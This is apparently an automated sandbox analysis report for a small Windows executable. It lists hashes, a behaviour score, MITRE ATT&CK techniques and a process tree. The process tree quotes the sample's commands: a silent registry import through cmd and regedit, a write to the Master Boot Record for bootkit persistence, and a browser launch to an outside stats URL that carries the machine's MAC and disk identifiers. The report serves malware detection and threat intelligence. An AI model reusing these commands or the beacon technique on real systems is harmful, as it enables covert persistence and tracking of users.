b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189

General

Target

b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe
Size

16KB
MD5

5f8b3b73de7a202599249b9d752501d2
SHA1

578a672569f9efc344b738fde848e93139fc6cdf
SHA256

b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189
SHA512

1568fe8de90fde615bba778b75da0da3a751fd19028190f4c74fd3edea99633ea32f4f8fbfcb5419c820066e4d898e02f1a561d9b11fd9b295e77c4d37ec9462
SSDEEP

384:Mg8BoocpwfdtbjgYuHisEpmxs1eSXbWhAiaNk/ru:MNBvcidtXgYuHisEp84LXyqF

Score

6^/10

bootkit persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{4E2685E7-74EC-11ED-B5DD-7EADEF22860F} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders"	regedit.exe

Runs .reg file with regedit 1 IoCs

pid	Process
4128	regedit.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe
3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe
736	iexplore.exe
736	iexplore.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 4440	3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe	80
PID 3636 wrote to memory of 4440	3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe	80
PID 3636 wrote to memory of 4440	3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe	80
PID 4440 wrote to memory of 4128	4440	cmd.exe	82
PID 4440 wrote to memory of 4128	4440	cmd.exe	82
PID 4440 wrote to memory of 4128	4440	cmd.exe	82
PID 3636 wrote to memory of 736	3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe	83
PID 3636 wrote to memory of 736	3636	b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe	83
PID 736 wrote to memory of 3028	736	iexplore.exe	84
PID 736 wrote to memory of 3028	736	iexplore.exe	84
PID 736 wrote to memory of 3028	736	iexplore.exe	84

C:\Users\Admin\AppData\Local\Temp\b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe
"C:\Users\Admin\AppData\Local\Temp\b2d7a52287b4437b04ddf47ed84f80c7c14eac149908809fe31865347cb04189.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:4128
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=7EADEF2286F&Hard=QM00013&ClientType=Home&Process=81&UserID=0003&Authen=764-465
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:736 CREDAT:17410 /prefetch:2
    3⤵
    PID:3028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Bootkit

1

T1067

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\getback.reg

Filesize
1KB

MD5
626e2d76f5c328d57a3eff6a7f94d129

SHA1
210fd33fa005775b30a8fd40a065a2e788934216

SHA256
5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

SHA512
629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

Download Submit
memory/3636-134-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/3636-138-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download

Analysis

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